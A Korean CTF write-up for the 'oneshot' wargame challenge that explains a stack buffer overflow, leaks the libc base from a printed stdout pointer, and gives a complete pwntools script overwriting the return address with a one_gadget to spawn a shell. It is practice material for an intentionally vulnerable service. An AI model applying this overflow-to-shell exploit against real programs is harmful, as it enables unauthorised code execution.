문제 설명

Description

이 문제는 작동하고 있는 서비스(oneshot)의 바이너리와 소스코드가 주어집니다.
프로그램의 취약점을 찾고 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.

Environment
Ubuntu 16.04
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled


풀이

문제 파일의 oneshot.c 소스 코드를 살펴보면 다음과 같다.

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);
    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}


메인 소스 코드를 살펴보면 msg라는 변수 16바이트 크기의 버퍼가 존재하고, read 함수로 46바이트를 읽어오면서 버퍼 오버플로우가 발생하게 된다.


oneshot 바이너리 파일의 보호 기법은 아래와 같이 NX와 PIE 그리고 RELRO는 Partial RELRO가 설정되어 있다.

image-20240411135150669


여기서 익스플로잇을 생각해보면 가장 먼저 라이브러리 베이스 주소를 구하고, one_gadget은 단일 가젯만으로 쉘을 실행할 수 있기 때문에 라이브러리 베이스 주소와 one_gadget의 주소를 더하여 이 주소를 반환 주소에 덮어씌우면 쉘을 실행할 수 있다.


메인 소스 코드에는 printf("stdout: %p\n", stdout); 이 코드로 %p 포맷 스트링을 사용하여 stdout의 16진수 주소를 출력해주고 있다. 따라서 이 stdout의 주소에서 라이브러리 파일에 있는 stdout의 주소를 빼면 라이브러리 베이스 주소를 구할 수 있다. gdb로 라이브러리 심볼 이름을 확인해보면 _IO_2_1_stdout_ 인 것을 알 수 있다. 이는 pwntools 도구를 사용해 symbols["_IO_2_1_stdout_"]으로 라이브러리의 stdout 주소를 구할 수 있다.

image-20240411140554624


다음으로 아래는 read 함수 부분의 스택 구조를 gdb를 이용해 disassemble main을 통해 알아볼 수 있다.

image-20240411143846918


RET 까지의 거리는 read의 46바이트에서 16으로 나눠질 48바이트로 스택 구조를 그려보면 아래와 같이 표현할 수 있다. 따라서 check를 0으로 만들고 RET 주소를 one_gadget에서 구한 주소로 덮어씌워 주면 쉘을 획득할 수 있다.

image-20240411153254963


one_gadget은 루비를 설치하고 sudo gem install one_gadget 명령어로 설치할 수 있다. one_gadget 다음 라이브러리를 인자로 주어 명령을 실행하면 단일 가젯으로 쉘을 실행할 수 있는 어마어마한 가젯들이 나오게 된다. 이 주소들은 라이브러리에 있는 주소들이므로 pwntools에서는 라이브러리 베이스 주소와 더하여 구해주어야 한다.

image-20240411154210805


익스플로잇 코드는 아래와 같고, stdout 주소를 %p 인자로 인해 16진수 주소를 친절히 출력해주고, 이를 이용해 라이브러리 stdout의 심볼 주소와 빼면 라이브러리 베이스 주소가 나오게 된다. 이를 one_gadget 명령어로 구한 주소에 더해주어 A를 24로 채우고 check를 \x00으로 0으로 채우고 RBP까지의 거리를 B로 채운 후 RET 주소를 one_gadget으로 덮어씌워 쉘을 실행하면 된다.

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

p = remote('host3.dreamhack.games',16857)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')

one_gadget = 0x45216 #one_gadget 첫 번째 주소

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16) #\n 줄바꿈 문자 빼고 16진수로 int형 변환
base = stdout - libc.symbols["_IO_2_1_stdout_"] # stdout의 라이브러리 심볼 주소 계산
og = base + one_gadget

slog("STDOUT", stdout)
slog("base", base)
slog("one gadget", og)

payload = b'A'*24
payload += b'\x00'*8
payload += b'B'*8
payload += p64(og)

p.sendafter("MSG: ", payload)
p.interactive()


실행해보면 아래와 같이 one_gadget을 이용해 쉘을 실행시킬 수 있는 것을 볼 수 있다.

image-20240411210205694

댓글남기기